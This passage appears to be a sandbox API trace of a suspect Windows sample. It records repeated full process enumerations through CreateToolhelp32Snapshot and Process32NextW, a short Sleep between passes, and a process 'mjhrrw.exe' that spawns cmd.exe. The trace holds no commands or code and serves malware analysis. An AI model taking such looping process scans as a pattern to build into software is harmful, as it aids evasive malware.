lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0099.327] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0099.327] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0099.328] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hearts_walker_poet.exe")) returned 1 [0099.329] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lb_community.exe")) returned 1 [0099.330] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hispanic.exe")) returned 1 [0099.332] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0099.333] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1120, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.334] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0099.353] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0099.354] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0099.355] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0099.355] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0099.356] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0099.357] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0099.358] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0099.359] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x137c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.360] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0099.361] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0099.607] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0099.607] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0099.608] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0099.609] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0099.609] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0099.610] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0099.610] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0099.611] CloseHandle (hObject=0x33c) returned 1 [0099.611] Sleep (dwMilliseconds=0x1f4) [0100.120] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x224 [0100.127] Process32FirstW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.128] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0100.128] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0100.129] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.129] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0100.130] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.130] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0100.131] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0100.131] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0100.132] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.133] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0100.133] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0100.134] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.134] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0100.135] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.135] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.136] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.136] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.137] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.137] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.138] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.138] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.139] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.139] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.140] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0100.140] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.141] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0100.141] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0100.142] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.142] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.143] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0100.143] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0100.144] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0100.144] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0100.145] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0100.145] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0100.146] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0100.146] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0100.147] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-windsor.exe")) returned 1 [0100.147] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed.exe")) returned 1 [0100.148] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="housing.exe")) returned 1 [0100.148] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrated.exe")) returned 1 [0100.149] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="clara_cancer.exe")) returned 1 [0100.149] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="solutionspassengersmoke.exe")) returned 1 [0100.150] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wanted.exe")) returned 1 [0100.150] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="negotiations_g_mountains.exe")) returned 1 [0100.151] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rebound_spec_december.exe")) returned 1 [0100.151] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rt-flight.exe")) returned 1 [0100.152] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually_kent.exe")) returned 1 [0100.152] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0100.153] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0100.153] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary-fluid-heating.exe")) returned 1 [0100.154] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="copefinancesringtones.exe")) returned 1 [0100.155] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="recommend hold florists.exe")) returned 1 [0100.156] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0100.156] Process32NextW (in: hSnapshot=0x224, 